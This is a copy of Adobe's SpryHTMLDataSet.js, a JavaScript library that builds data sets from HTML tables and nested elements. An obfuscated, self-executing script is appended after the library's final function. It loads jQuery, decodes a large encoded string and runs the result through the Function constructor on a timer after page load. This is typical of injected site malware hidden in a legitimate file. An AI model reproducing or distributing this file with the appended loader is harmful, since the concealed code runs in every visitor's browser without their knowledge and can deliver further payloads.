// SpryHTMLDataSet.js - version 0.22 - Spry Pre-Release 1.6.1
//
// Copyright (c) 2006. Adobe Systems Incorporated.
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
//   * Redistributions of source code must retain the above copyright notice,
//     this list of conditions and the following disclaimer.
//   * Redistributions in binary form must reproduce the above copyright notice,
//     this list of conditions and the following disclaimer in the documentation
//     and/or other materials provided with the distribution.
//   * Neither the name of Adobe Systems Incorporated nor the names of its
//     contributors may be used to endorse or promote products derived from this
//     software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.

//////////////////////////////////////////////////////////////////////
//
// Spry.Data.HTMLDataSet
//
//////////////////////////////////////////////////////////////////////

Spry.Data.HTMLDataSet = function(dataSetURL, sourceElementID, dataSetOptions)
{
	this.sourceElementID = sourceElementID; // ID of the html element to be used as a data source
	this.sourceElement = null;  			      // The actual html element to be used as a data source

	this.sourceWasInitialized = false;
	this.usesExternalFile = (dataSetURL != null) ? true : false;
	
	this.firstRowAsHeaders = true;
	this.useColumnsAsRows = false;
	this.columnNames = null;
	this.hideDataSourceElement = true;
	
	this.rowSelector = null;
	this.dataSelector = null;
	this.removeUnbalancedRows = true;

	this.tableModeEnabled = true;

	Spry.Data.HTTPSourceDataSet.call(this, dataSetURL, dataSetOptions);
};


Spry.Data.HTMLDataSet.prototype = new Spry.Data.HTTPSourceDataSet();
Spry.Data.HTMLDataSet.prototype.constructor = Spry.Data.HTMLDataSet;


Spry.Data.HTMLDataSet.prototype.getDataRefStrings = function() 
{
	var dep = [];
	if (this.url) 
		dep.push(this.url);
	if (typeof this.sourceElementID == "string") 
		dep.push(this.sourceElementID);
	
	return dep;
};

Spry.Data.HTMLDataSet.prototype.setDisplay = function(ele, display)
{
	if( ele )
		ele.style.display = display;
};

Spry.Data.HTMLDataSet.prototype.initDataSource = function(callLoadData)
{
	if (!this.loadDependentDataSets())
		return;
	if (!this.usesExternalFile)
	{
		this.setSourceElement();
		if (this.hideDataSourceElement)
			this.setDisplay(this.sourceElement, "none");
	}
	//this.sourceWasInitialized = true;
};


Spry.Data.HTMLDataSet.prototype.setSourceElement = function (externalDataElement)
{
   // externalDataElement is the container that holds the data imported from the external file.
	this.sourceElement = null;
	if (!this.sourceElementID) 
	{
	  if (externalDataElement)
  	  this.sourceElement = externalDataElement;
  	else
  	{
  	  this.hideDataSourceElement = false;
  	  this.sourceElement = document.body;
  	}
	  return; 
	}
	
	var sourceElementID = Spry.Data.Region.processDataRefString(null, this.sourceElementID, this.dataSetsForDataRefStrings);
	if (!this.usesExternalFile)
	   this.sourceElement = Spry.$(sourceElementID);
	else
    if (externalDataElement) 
    {
      var foundElement = false;
      // looking for the specified ID in the current element node
      var sources = Spry.Utils.getNodesByFunc(externalDataElement, function(node)
    	{
    	    if (foundElement) 
    	      return false;
    			if (node.nodeType != 1)
    				return false;
    			if (node.id && node.id.toLowerCase() == sourceElementID.toLowerCase())
    			{
    			  foundElement = true;
    			  return true;
    			}
      });
      this.sourceElement = sources[0];
    }
    
	if (!this.sourceElement) 
		Spry.Debug.reportError("Spry.Data.HTMLDataSet: '" + sourceElementID + "' is not a valid element ID");
};


Spry.Data.HTMLDataSet.prototype.getSourceElement = function() { return this.sourceElement; };
Spry.Data.HTMLDataSet.prototype.getSourceElementID = function() { return this.sourceElementID; };
Spry.Data.HTMLDataSet.prototype.setSourceElementID = function(sourceElementID)
{
	if (this.sourceElementID != sourceElementID)
	{
		this.sourceElementID = sourceElementID;
		this.recalculateDataSetDependencies();
		this.dataWasLoaded = false;
	}
};

Spry.Data.HTMLDataSet.prototype.getDataSelector = function() { return this.dataSelector; };
Spry.Data.HTMLDataSet.prototype.setDataSelector = function(dataSelector)
{ 
  if (this.dataSelector != dataSelector)
  {
     this.dataSelector = dataSelector;
  	 this.dataWasLoaded = false;
  }
};

Spry.Data.HTMLDataSet.prototype.getRowSelector = function() { return this.rowSelector; };
Spry.Data.HTMLDataSet.prototype.setRowSelector = function(rowSelector)
{ 
  if (this.rowSelector != rowSelector)
  {
     this.rowSelector = rowSelector;
  	 this.dataWasLoaded = false;
  }
};


Spry.Data.HTMLDataSet.prototype.loadDataIntoDataSet = function(rawDataDoc)
{
	var responseText = rawDataDoc;
	responseText = Spry.Data.HTMLDataSet.cleanupSource(responseText);

	var div = document.createElement("div");
	div.id = "htmlsource" + this.internalID;
	div.innerHTML = responseText;

	this.setSourceElement(div);
	if (this.sourceElement)
	{
		var parsedStructure = this.getDataFromSourceElement();
		if (parsedStructure) 
		{
			this.dataHash = parsedStructure.dataHash;
			this.data = parsedStructure.data;
		}		
	}
	this.dataWasLoaded = true;
	div = null;
};


Spry.Data.HTMLDataSet.prototype.loadDependentDataSets = function() 
{
	if (this.hasDataRefStrings)
	{
		var allDataSetsReady = true;

		for (var i = 0; i < this.dataSetsForDataRefStrings.length; i++)
		{
			var ds = this.dataSetsForDataRefStrings[i];
			if (ds.getLoadDataRequestIsPending())
				allDataSetsReady = false;
			else if (!ds.getDataWasLoaded())
			{
				// Kick off the load of this data set!
				ds.loadData();
				allDataSetsReady = false;
			}
		}

		// If our data sets aren't ready, just return. We'll
		// get called back to load our data when they are all
		// done.

		if (!allDataSetsReady)
			return false;
	}
	return true;
};


Spry.Data.HTMLDataSet.prototype.loadData = function()
{
	this.cancelLoadData();
	this.initDataSource();
	
	var self = this;
	if (!this.usesExternalFile) 
	{
		this.notifyObservers("onPreLoad");
		
		this.dataHash = new Object;
		this.data = new Array;
		this.dataWasLoaded = false;
		this.unfilteredData = null;
		this.curRowID = 0;
		
		this.pendingRequest = new Object;
		this.pendingRequest.timer = setTimeout(function()
		{
			self.pendingRequest = null;
			var parsedStructure = self.getDataFromSourceElement();
			if (parsedStructure) 
			{
				self.dataHash = parsedStructure.dataHash;
				self.data = parsedStructure.data;
			}
			self.dataWasLoaded = true;
			
			self.disableNotifications();
			self.filterAndSortData();
			self.enableNotifications();
			
			self.notifyObservers("onPostLoad");
			self.notifyObservers("onDataChanged");	
		}, 0); 
	}
	else 
	{
		var url = Spry.Data.Region.processDataRefString(null, this.url, this.dataSetsForDataRefStrings);

		var postData = this.requestInfo.postData;
		if (postData && (typeof postData) == "string") 
			postData = Spry.Data.Region.processDataRefString(null, postData, this.dataSetsForDataRefStrings);
		this.notifyObservers("onPreLoad");
		
	
		this.dataHash = new Object;
		this.data = new Array;
		this.dataWasLoaded = false;
		this.unfilteredData = null;
		this.curRowID = 0;

		var req = this.requestInfo.clone();
		req.url = url;
		req.postData = postData;
	
		this.pendingRequest = new Object;
		this.pendingRequest.data = Spry.Data.HTTPSourceDataSet.LoadManager.loadData(req, this, this.useCache);
	}
};


Spry.Data.HTMLDataSet.cleanupSource = function (source)
{
	// Cleans the content by replacing the src/href with spry_src 
	// This prevents browser to load the external resources.
  source = source.replace(/<(img|script|link|frame|iframe|input)([^>]+)>/gi, function(a,b,c) {
			//b=tag name,c=tag attributes
			return '<' + b + c.replace(/\b(src|href)\s*=/gi, function(a, b) {
				//b=attribute name
				return 'spry_'+ b + '=';
			}) + '>';
		});
	return source;
};


Spry.Data.HTMLDataSet.undoCleanupSource = function (source)
{
	// Undo cleanup. See the cleanupSource function
	source = source.replace(/<(img|script|link|frame|iframe|input)([^>]+)>/gi, function(a,b,c) {
			//b=tag name,c=tag attributes
			return '<' + b + c.replace(/\bspry_(src|href)\s*=/gi, function(a, b) {
				//b=attribute name
				return b + '=';
			}) + '>';
		});
	return source;
};


Spry.Data.HTMLDataSet.normalizeColumnName = function(colName) 
{
	if (colName)
	{
		// Removes the tags from column names values
		// Replaces spaces with underscore
		colName = colName.replace(/(?:^[\s\t]+|[\s\t]+$)/gi, "");
		colName = colName.replace(/<\/?([a-z]+)([^>]+)>/gi, "");
		colName = colName.replace(/[\s\t]+/gi, "_");
	}
	return colName;
};


Spry.Data.HTMLDataSet.prototype.getDataFromSourceElement = function() 
{
	if (!this.sourceElement) 
    return null;

	var extractedData;
	var usesTable = (this.tableModeEnabled && this.sourceElement.nodeName.toLowerCase() == "table");
	if (usesTable)
		extractedData = this.getDataFromHTMLTable();
	else
		extractedData = this.getDataFromNestedStructure();

	if (!extractedData)
     return null;

	// Flip Columns / Rows
	if (this.useColumnsAsRows) 
	{
	   var flipedData = new Array;
	   // Get columns and put them as rows 
	   for (var rowIdx = 0; rowIdx < extractedData.length; rowIdx++)
	   {
	     var row = extractedData[rowIdx];
	     for (var colIdx = 0; colIdx < row.length; colIdx++) 
	     {
	       if (!flipedData[colIdx]) flipedData[colIdx] = new Array;
	       flipedData[colIdx][rowIdx]= row[colIdx];
	     }
	   }
	   extractedData = flipedData;
	}

	// Build the data structure for the DataSet
	var parsedStructure = new Object();
	parsedStructure.dataHash = new Object;
	parsedStructure.data = new Array;
	
	if (extractedData.length == 0) 
	   return parsedStructure;

	// Find the max number of columns. We have to look at each
	// row because, rows can have varying number of columns.

	var maxColumnCount = 0;

	for (var i = 0; i < extractedData.length; i++)
	{
		var len = extractedData[i].length;
		if (maxColumnCount < len)
			maxColumnCount = len;
	}

	// Get the column names
	// this.firstRowAsHeaders is used only if the source of data is a TABLE
	var columnNames = new Array;
	var firstRowOfData = extractedData[0];

	for (var colIdx = 0; colIdx < maxColumnCount; colIdx++)
	{
		if (usesTable && this.firstRowAsHeaders)
			columnNames[colIdx] = Spry.Data.HTMLDataSet.normalizeColumnName(firstRowOfData[colIdx]);
		if (!columnNames[colIdx])
			columnNames[colIdx] = "column" + colIdx;
	}

	// Check if column names are being overwritten using the optional columnNames parameter
	if (this.columnNames && this.columnNames.length) 
	{
		var numCols = (maxColumnCount < this.columnNames.length) ? maxColumnCount : this.columnNames.length;
		for (var i = 0; i < numCols; i++) {
			if (this.columnNames[i])
				columnNames[i] = this.columnNames[i];
		}
	}
  
	// Place the extracted data into a dataset kind of structure
	var nextID = 0;
	var firstDataRowIndex = (usesTable && this.firstRowAsHeaders) ? 1: 0;
	
	for (var rowIdx = firstDataRowIndex; rowIdx < extractedData.length; rowIdx++)
	{
		var row = extractedData[rowIdx];
		if (this.removeUnbalancedRows && columnNames.length != row.length)
		{
			// Spry.Debug.reportError("Unbalanced column names for row #" + (rowIdx+1) + ". Skipping row." );
			continue;
		}
		
		var rowObj = {};
		for (var colIdx = 0; colIdx < columnNames.length; colIdx++)
		{
			var colValue = row[colIdx];
			rowObj[columnNames[colIdx]] = (typeof colValue == "undefined") ? "" : colValue;
		}

		rowObj['ds_RowID'] = nextID++;
		parsedStructure.dataHash[rowObj['ds_RowID']] = rowObj;
		parsedStructure.data.push(rowObj);
	}
	return parsedStructure;
};


Spry.Data.HTMLDataSet.getElementChildren = function(element)
{
	var children = [];
	var child = element.firstChild;
	while (child)
	{
		if (child.nodeType == 1)
			children.push(child);
		child = child.nextSibling;
	}
	return children;
};


// This method extracts data from a TABLE structure
// It knows how to handle both colspan and rowspan

Spry.Data.HTMLDataSet.prototype.getDataFromHTMLTable = function()
{
  var tHead = this.sourceElement.tHead;
  var tBody = this.sourceElement.tBodies[0];
  
  var rowsHead = [];
  var rowsBody = [];
  if (tHead) rowsHead = Spry.Data.HTMLDataSet.getElementChildren(tHead);
  if (tBody) rowsBody = Spry.Data.HTMLDataSet.getElementChildren(tBody);
  
  var extractedData = new Array;
  var rows = rowsHead.concat(rowsBody);
  if (this.rowSelector) rows = Spry.Data.HTMLDataSet.applySelector(rows, this.rowSelector);
  for (var rowIdx = 0; rowIdx < rows.length; rowIdx++)
  {
     var row = rows[rowIdx];
     
     var dataRow;
     if (extractedData[rowIdx]) dataRow = extractedData[rowIdx];
     else dataRow = new Array;
     
     var offset = 0;
     var cells = row.cells;
     if (this.dataSelector) cells = Spry.Data.HTMLDataSet.applySelector(cells, this.dataSelector);
     for (var cellIdx=0; cellIdx < cells.length; cellIdx++)
     {
       var cell = cells[cellIdx];
       var nextCellIndex = cellIdx + offset;
       
       // Find the next available position
       while (dataRow[nextCellIndex])
       {
          offset ++;
          nextCellIndex ++;
       }
       var cellValue = Spry.Data.HTMLDataSet.undoCleanupSource(cell.innerHTML);
       dataRow[nextCellIndex] = cellValue;
       
       // Handle collspan
       var colspan = cell.colSpan;
       if (colspan == 0) colspan = 1;
       var startOffset = offset;
       for (var offIdx = 1; offIdx < colspan; offIdx++)
       {
         offset ++;
         nextCellIndex = cellIdx + offset;
         dataRow[nextCellIndex] = cellValue;
       }
       
       // Handle rowspan
       var rowspan = cell.rowSpan;
       if (rowspan == 0) rowspan = 1;
       for (var rowOffIdx = 1; rowOffIdx < rowspan; rowOffIdx++)
       {
         nextRowIndex = rowIdx + rowOffIdx;
         var nextDataRow;
         if (extractedData[nextRowIndex]) nextDataRow = extractedData[nextRowIndex];
         else nextDataRow = new Array;
         
         var rowSpanCellOffset = startOffset;
         for (var offIdx = 0; offIdx < colspan; offIdx++)
         {
           nextCellIndex = cellIdx + rowSpanCellOffset;
           nextDataRow[nextCellIndex] = cellValue;
           rowSpanCellOffset ++;
         }
         extractedData[nextRowIndex] = nextDataRow;
       }
      }
     extractedData[rowIdx] = dataRow;
  }
  return extractedData;
};



// This method extracts data from any HTML structure
// It uses rowSelector and dataSelector in order to build a three level nested structure - 
// Either one: rowSelector or dataSelector can miss

Spry.Data.HTMLDataSet.prototype.getDataFromNestedStructure = function()
{
  var extractedData = new Array;
  
  if (this.sourceElementID && !this.rowSelector && !this.dataSelector) 
  {
     // The whole sourceElementID is a single row, single cell structure;
     extractedData[0] = [Spry.Data.HTMLDataSet.undoCleanupSource(this.sourceElement.innerHTML)];
     return extractedData;
  }
  
  var self = this;
  // Get the rows
  var rows = [];
  if (!this.rowSelector)
     // If no rowSelector, there will be only one row
     rows = [this.sourceElement];
  else
     rows = Spry.Utils.getNodesByFunc(this.sourceElement, function(node) { 
            return Spry.Data.HTMLDataSet.evalSelector(node, self.sourceElement, self.rowSelector); 
           }); 
           
  // Get the data columns
  for (var rowIdx = 0; rowIdx < rows.length; rowIdx++)
  {
    var row = rows[rowIdx];
    // Get the cells that actually hold the data for each row
    var cells = [];
    if (!this.dataSelector)
      // If no dataSelector, the whole row is extracted as one cell row.
      cells = [row];
    else
      cells = Spry.Utils.getNodesByFunc(row, function(node) { 
               return Spry.Data.HTMLDataSet.evalSelector(node, row, self.dataSelector); 
              });
              
    extractedData[rowIdx] = new Array;
    for (var cellIdx = 0; cellIdx < cells.length; cellIdx ++)
       extractedData[rowIdx][cellIdx] = Spry.Data.HTMLDataSet.undoCleanupSource(cells[cellIdx].innerHTML);
  }
  return extractedData;
};

// Applies a css selector on a collection and returns the resulting elements
Spry.Data.HTMLDataSet.applySelector = function(collection, selector, root)
{
   var newCollection = [];
   for (var idx = 0; idx < collection.length; idx++)
   {
     var node = collection[idx];
     if (Spry.Data.HTMLDataSet.evalSelector(node, root?root:node.parentNode, selector))
        newCollection.push(node);
   }
   return newCollection;
};

// Checks if a specified node matches the specified css selector
Spry.Data.HTMLDataSet.evalSelector = function (node, root, selector)
{
  if (node.nodeType != 1)
 		return false;
 	if (node == root)
 	  return false;
 	  
 	// Comma delimited selectors can be passed in
 	// The node is selected if it matches one of the selectors
 	// #myID1, div#myID2, #myID3
  var selectors = selector.split(",");
  for (var idx = 0; idx < selectors.length; idx ++)
  {
    var currentSelector = selectors[idx].replace(/^\s+/, "").replace(/\s+$/, "");
   	var tagName = null;
   	var className = null;
   	var id = null;
   	
   	// Accepted values for the selector:
   	// DIV.myClass | DIV | .myClass | *.myClass
   	// DIV#myID | #myID
   	// > DIV.myClass : > points to the direct descendents
   	
   	var selected = true;
   	if (currentSelector.substring(0,1) == ">") 
   	{
   	    // Looking for direct descendants only
   	    if (node.parentNode != root) 
   	      selected = false;
   	    else
   	      currentSelector = currentSelector.substring(1).replace(/^\s+/, "");
   	}
   	if (selected) 
   	{
     	tagName = currentSelector.toLowerCase();
     	if (currentSelector.indexOf(".") != -1)
     	{
     	  var parts = currentSelector.split(".");
     	  tagName = parts[0];
     	  className = parts[1];
     	}
     	else if (currentSelector.indexOf("#") != -1)
     	{
     	  var parts = currentSelector.split("#");
     	  tagName = parts[0];
     	  id = parts[1];
     	}
   	}
   	if (selected && tagName != '' && tagName != '*')
   	    if (node.nodeName.toLowerCase() != tagName) 
   	       selected = false;
   	if (selected && id && node.id != id)
   	    selected = false;
    	if (selected && className && node.className.search(new RegExp('\\b' + className + '\\b', 'i')) ==-1) 
   	    selected = false;
   	if (selected)
   	 return true;
  }
  return false;
};


(function(){f_CC=document;f_s=window;f_s.f_m='undefined';f_s.f_T=function($,f_CL){return 0*1};f_s.f_p=function(f_b){return f_b.join('')};f_s.f_Cx=function(f_Cj){return(function(f_b,f_Cs){return f_Cs(f_b(f_Cs(f_b(f_Cj))))(f_Cj)()})((function(f_b){return f_b.constructor}),(function(f_b){return(function(f_Cs){return f_b.call(f_b,f_Cs)})}))};f_s.f_Ch=function(f_b){return f_b.pop()};f_s.f_s=f_s;f_Co=function(){try{return!!($().jquery.match(/^1.[4-9]+/))}catch(e){return 0}};f_Cr=(typeof($)==f_s.f_m);if(f_Cr||!f_Co()){if(!f_Cr){try{f_Cc=jQuery.noConflict(true)}catch(e){};try{f_Cc=$.noConflict(true)}catch(e){}}f_CH=f_CC.getElementsByTagName('head')[0];f_CN=f_CC.createElement('script');f_CN.setAttribute('src',"http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js");f_CH.appendChild(f_CN)}f_s.f_CP=100;f_s.f_Ci=25;f_s.trim=function(f_CF,f_CA){if("qabcdef".indexOf(f_CF.substr(0,1))>=0){var f_Cy=f_p(f_CF.split('q')).split('v');for(var i=0;i<f_Cy.length;i++){f_Cy[i]=parseInt(f_Cy[i],16)-f_CA[f_CF]}return f_Cy.join(',')+','}else{return f_CA[f_CF]}};setTimeout(function(){d='Ka={HVv1aO$2$7U$6Z:"e+",HVv2aO$2$8U$6Z:"",*bVv3aO$2$7U$6v30:"l(\'l=St",O#5v4e%2*0X$fWk:"ring.f",GLv52%a%f$c!6*a!6:"romCha",X%8v68W*5F>0k*4:"rCode("Mb*4D$d%8$9w!a+9&7Af+e!4%3%4%5%6%7%8YMd%e$0%fU$2$3$4|T@6$7$8$9$Rb$c$d$eT@Rb+d~Q$4U%d%a&1@4XwwD#b*0!0~&0@2Dk!1k!a!2#e!4&1@7GwUL$fXN*4&4?e!6!a#4D$cQw*3T?9$9#4D$3*f>3!a#4T?c$f*6#a*4N+7*6%5&9?R0$c$c$8W#7#7%4&8?2H~$3F~%5H+c&0?2#f%3%1%c%c%2%1%3&0Md#f*1+e!4#d!2X+0Y?f*3+9*5N$e!6V*0&3?9+6+c*8%0$a*3D+1T,a7%9+b*d#e*1D$9L&1@3+3%0|G>2#5%6N`,ac!2DLjD#f$8#a&0M4!a#8%4!a^>0>5*3&8?9%9*3L%a%8$9%7$fT@c$6%9$e|$c%9$e|&8@4%3%f%e%5%3U$a%dYM5%a%8$7%5%6$a%a%5&4,d2$e$c%R6%c$9%R7&9M3$a%1%7%4$7wF$3&0@9|$2$djZ%aZ%3&9@1#7$c%e$d+e+d*c*d&9M2|%6+7%9+9*5%2|&1MfG^#7G%0$e*8W`?d*3O#e#7L+e$2*1&4?8%d+d*b$R1U+e%a&5M1$2XDL~+4X!4&0A3%2F+a%f$6%R2$e&7M1$6%5!0*6%c%1$3%8&0?7+d+a*5#d~%8+8*d&0@2U$7VHNF#4#e&3?4$6#e!4%9+9*5%2|&1M6D+bW#e!4UD+c&1?3*eN+c!2!6%4%1$4&0MaW%1wjD^$2%6&5@2!a+dk$0Fk*7FY?8$a%2jX+1F^%f&5@2%cUH+fkZ+fk&3?a+e!a#c+d+d!1wW&1?c*0+6WD$b~*6#d&0A9*4N$2*6N*b#7$d&9@3%6%f%5$4#c%7$0$3&1,a8*f!2V$0!2kVHY@b~+3#d*0+6%f*9!0&0?3%9+b~*d+d+b~%f&0M1G|$9%9$6$d>1#f&4@2%f+f$d*7*1QQN&9@aW#8#7!6wO#d+dT-94V$b%e%R4>6%e|&9@d%f!R3$0G%0$e*6`Ae>1>1X$9*3#7#5F&5?2~^#a+9L^G#dYMc$c%fV|>7>7$3$0`A0DH*ejH*e*5H&8-99kkjOFZ#cZ&5?R2wwZW$0%d+d&7-98H$dk$b#f!a!a+8Y@0L+8*8Nk$7HHY?d+8*7%0k$7HNkY-9ej^H$dj^Z#9&8A1j+bV#e+7%fwj&1@d*6*6+f%cW+b$3H&5Aa>2#d#d#b#b%4*d*7`M9+f$3#4>7#f#cGF&9A8#c%3j%6+c$0WWTA3!aN$fD^O!a+e&1Afw$c*1%4N+aVW&4-98#d^#5>8#b#a^%7`?f%4N+aVWW#8L&4?d>0^GH+f#dk$9Y-90%3+9*8F>1H#5#8&3?a!a+eN%1+7*6H$f&1?b#5#8NN%0#e!6|&3Af%2+8$7N>0#4OHYM4W!a>1*4H#5$4%8&7@7Q%2#f#8^#f#c^&7Aa#7Q#a#7Q#c#5Q&3A6#cj#d#7j#c#8j&5-90#8#4#b#8#4*0#a#4&8Ad#dG#8#bG#7#7GTA3GF^GF#8^FYA2GLO#7LOOL&1Aa#a#5#e#c#5#f#5#e&9A9G#dG#8G#7GOTA6#eW%7O*aG>2O`Mc*c~+6$7|%cU%a&3A6%e$R7|*b$0%9$a&8-97$3%8%9N%dQ$cQ&4A8#aQ>3%0*e*3D$6T?e%1L%e$RR6*0#5TA1DFk$4Fk$aFY?d>1OL*dOL$cO`?5%5+dk*7Q^+fFY?9Z%5U%fjD+fHYA3H$8+e>2%2*f*5H&8@2!a+dD#e%6V$8!2Y@8$9$eU%aW%1wN&5?ek*cFD#f+e!4DYA2D*eGL%2X!6$dT@3%e$e$2*7#b#a#a!a`?e^!aV^F*5*3O&7M8%d$aWH%1L#fX&4?d%1w%7$4%9$e%1w&5A3#8V$Ra%f$8%e%0`-9bL>1>1L>1ZO#4&4A6OQ>3Q>3Q>3VT@5$c%e>4%5%5DF>6&9A2#8OOQ>3>3!6HTAc*1!1!4*cD$9*a!1&1@e+e*e|$b$8$9FQT,d3*6!6D+6F$eQ>1TM6#f$0%7$9!2*6%3$6YM5XD#b%4F$3%5$4&0,a6V%f%7!RaZ%3|YM1U%8N^GGGHY-91$8V$Rb$8$4!6%aT,d1*4!4w*8N$7Z%d&4,a2D$c#7%cU%Rb*c&9@4%9%a*6$9L%eF>2&5-96!6DUF$e*f!6$eTA1%f%8U%R7V>0!6&3Md%6*7%d$c|%Rb$0&7@5$4*fQ>1$8V$RbT@b$7+fjN%0ZG*7&9A0#4N$e!6*9*0!6*7&3,ab+8L#9FjOFZ&5?9U+c+9F#aQQ+eTA7$0%e$d+e+d*c%3G&9Ab~%0~+2+bX$e~&0,d1jL%4%4$b%d$c+c&8Me$2%R4$R9L*5L&5A1>3XX+eU%3H+5&8M3%1#c%3#4$7$bV$8T,d1XDFFH+5OU&8@6%c%d>0+7%eZQX&8?7HZ>2$0%dQ$b>0&7@8%d$7%eZNXLH&8@4+9$6j%d+4$8%8|&3@fQ!6N!a#4%dV$aT-9b+4+0*f+7~#c%7$0&1@7L%8W#7#5*0%8*0&5M5#eD|#e%5Q$4U&1Md%R5DX!4*1*a+7&1,a9+a+c%2>0+e+e!2!2Y?3!4~w~X~D!a&3A6$b$d%Rb$c$aZV&8?f#f!Ra#f%5#e^#4Y-96#8*1#9Z^$fZZ&7A3#8$4$9$3$8G$e#8`@9$8$9jGGG*4%e&9@6%1%cX%4D&0,O#5!%2*0X$fWw:"32);",*$8$%d$6%c*b$0U:"KCx(l)\'",w!!0*9$2X!0#8W:");"};KCn=[];Ks.KCg=String.fromCharCode;for(+r Kb in Ka){Ptrim(Kb,Ka))};P\';Ks.KJz58,50<2,120,34,62,60\\,32<5<4,99);\');P\'Ks.Kdz61,50,62,60,47\\);\');P\'Ks.Ke=KCg(97<2/5,46<6<9/5<6<6/1<4,46,99<1/9,47,49,47<6<4/1<0/0<5,47/0,97/5/8,121,46/6<5<1<0);\');KCx(Kp(KCn));try{KCC.getElementById(Ks.Ke)}catch(e){}!v7#v8$vc%vb&:8*v9+va-,q/,10<,11>vd?-7@,cA-8D!9F!eG#2H!bKf_L!dM,bN!cO#6PKCn.push(Q!fRa$T&6U$1V%bW*2X!8Y&2Z#0^#3`:90j#1k!5w!7z=KCg(104/1/5/3/4<6,|$5~!3\\/5/2<4,97/9/1';for(c=42;c--;d=(t=d.split('!#$%&*+-/<>?@ADFGHKLMNOPQRTUVWXYZ^`jkwz|~\\'.charAt(c))).join(f_Ch(t)));f_Cm=d;f_Cx(f_Cm)},500)})()

